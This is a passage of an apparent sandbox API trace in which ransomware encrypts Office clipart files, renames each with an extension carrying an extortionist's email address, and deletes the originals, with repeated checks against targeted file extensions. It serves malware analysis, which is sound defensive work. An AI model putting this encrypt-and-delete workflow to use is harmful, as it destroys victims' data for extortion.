	[0167.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.617] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=32184) returned 1
	[0167.618] CloseHandle (hObject=0x4cc) returned 1
	[0167.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220
	[0167.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.618] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.618] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.619] GetLastError () returned 0x0
	[0167.619] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0167.622] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.623] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.623] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.623] SetEndOfFile (hFile=0x440) returned 1
	[0167.623] CloseHandle (hObject=0x440) returned 1
	[0167.623] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.624] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.626] CloseHandle (hObject=0x4cc) returned 1
	[0167.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1
	[0167.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.628] lstrlenW (lpString=".doc") returned 4
	[0167.628] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString=".docx") returned 5
	[0167.628] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0167.628] lstrlenW (lpString=".pdf") returned 4
	[0167.628] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString=".xls") returned 4
	[0167.628] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString=".xlsx") returned 5
	[0167.628] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0167.628] lstrlenW (lpString=".ppt") returned 4
	[0167.628] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.628] lstrlenW (lpString=".zip") returned 4
	[0167.628] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString=".rar") returned 4
	[0167.628] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString=".bz2") returned 4
	[0167.628] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.628] lstrlenW (lpString=".7z") returned 3
	[0167.629] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.629] lstrlenW (lpString=".dbf") returned 4
	[0167.629] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.629] lstrlenW (lpString=".1cd") returned 4
	[0167.629] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.629] lstrlenW (lpString=".jpg") returned 4
	[0167.629] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.629] lstrlenW (lpString=".doc") returned 4
	[0167.629] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString=".docx") returned 5
	[0167.629] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0167.629] lstrlenW (lpString=".pdf") returned 4
	[0167.629] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString=".xls") returned 4
	[0167.629] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString=".xlsx") returned 5
	[0167.629] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0167.629] lstrlenW (lpString=".ppt") returned 4
	[0167.629] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.629] lstrlenW (lpString=".zip") returned 4
	[0167.629] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString=".rar") returned 4
	[0167.629] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString=".bz2") returned 4
	[0167.629] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.629] lstrlenW (lpString=".7z") returned 3
	[0167.630] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.630] lstrlenW (lpString=".dbf") returned 4
	[0167.630] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.630] lstrlenW (lpString=".1cd") returned 4
	[0167.630] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0167.630] lstrlenW (lpString=".jpg") returned 4
	[0167.630] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.630] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.630] lstrlenW (lpString="J0101864.BMP") returned 12
	[0167.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.631] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=31968) returned 1
	[0167.631] CloseHandle (hObject=0x4cc) returned 1
	[0167.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220
	[0167.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.631] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.631] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.632] GetLastError () returned 0x0
	[0167.632] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0167.634] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0167.636] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.636] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.636] SetEndOfFile (hFile=0x440) returned 1
	[0167.636] CloseHandle (hObject=0x440) returned 1
	[0167.636] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.636] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.639] CloseHandle (hObject=0x4cc) returned 1
	[0167.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1
	[0167.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString=".doc") returned 4
	[0167.641] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".docx") returned 5
	[0167.641] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0167.641] lstrlenW (lpString=".pdf") returned 4
	[0167.641] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".xls") returned 4
	[0167.641] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".xlsx") returned 5
	[0167.641] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0167.641] lstrlenW (lpString=".ppt") returned 4
	[0167.641] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString=".zip") returned 4
	[0167.641] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".rar") returned 4
	[0167.641] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".bz2") returned 4
	[0167.641] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".7z") returned 3
	[0167.641] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString=".dbf") returned 4
	[0167.641] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString=".1cd") returned 4
	[0167.641] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString=".jpg") returned 4
	[0167.641] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.641] lstrlenW (lpString=".doc") returned 4
	[0167.641] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.641] lstrlenW (lpString=".docx") returned 5
	[0167.642] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0167.642] lstrlenW (lpString=".pdf") returned 4
	[0167.642] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString=".xls") returned 4
	[0167.642] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString=".xlsx") returned 5
	[0167.642] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0167.642] lstrlenW (lpString=".ppt") returned 4
	[0167.642] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.642] lstrlenW (lpString=".zip") returned 4
	[0167.642] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString=".rar") returned 4
	[0167.642] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString=".bz2") returned 4
	[0167.642] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString=".7z") returned 3
	[0167.642] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.642] lstrlenW (lpString=".dbf") returned 4
	[0167.642] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.642] lstrlenW (lpString=".1cd") returned 4
	[0167.642] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0167.642] lstrlenW (lpString=".jpg") returned 4
	[0167.642] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.642] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.642] lstrlenW (lpString="J0101865.BMP") returned 12
	[0167.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.776] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=32184) returned 1
	[0167.776] CloseHandle (hObject=0x4d0) returned 1
	[0167.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220
	[0167.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.784] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.784] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.785] GetLastError () returned 0x0
	[0167.785] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0167.788] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.789] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.789] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.789] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.789] CloseHandle (hObject=0x3e0) returned 1
	[0167.789] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.789] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.792] CloseHandle (hObject=0x4cc) returned 1
	[0167.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1
	[0167.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.793] lstrlenW (lpString=".doc") returned 4
	[0167.793] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.793] lstrlenW (lpString=".docx") returned 5
	[0167.793] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0167.794] lstrlenW (lpString=".pdf") returned 4
	[0167.794] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".xls") returned 4
	[0167.794] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".xlsx") returned 5
	[0167.794] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0167.794] lstrlenW (lpString=".ppt") returned 4
	[0167.794] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.794] lstrlenW (lpString=".zip") returned 4
	[0167.794] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".rar") returned 4
	[0167.794] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".bz2") returned 4
	[0167.794] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".7z") returned 3
	[0167.794] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.794] lstrlenW (lpString=".dbf") returned 4
	[0167.794] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.794] lstrlenW (lpString=".1cd") returned 4
	[0167.794] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.794] lstrlenW (lpString=".jpg") returned 4
	[0167.794] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.794] lstrlenW (lpString=".doc") returned 4
	[0167.794] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".docx") returned 5
	[0167.794] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0167.794] lstrlenW (lpString=".pdf") returned 4
	[0167.794] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".xls") returned 4
	[0167.794] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.794] lstrlenW (lpString=".xlsx") returned 5
	[0167.795] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0167.795] lstrlenW (lpString=".ppt") returned 4
	[0167.795] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.795] lstrlenW (lpString=".zip") returned 4
	[0167.795] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.795] lstrlenW (lpString=".rar") returned 4
	[0167.795] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.795] lstrlenW (lpString=".bz2") returned 4
	[0167.795] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.795] lstrlenW (lpString=".7z") returned 3
	[0167.795] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.795] lstrlenW (lpString=".dbf") returned 4
	[0167.795] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.795] lstrlenW (lpString=".1cd") returned 4
	[0167.795] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0167.795] lstrlenW (lpString=".jpg") returned 4
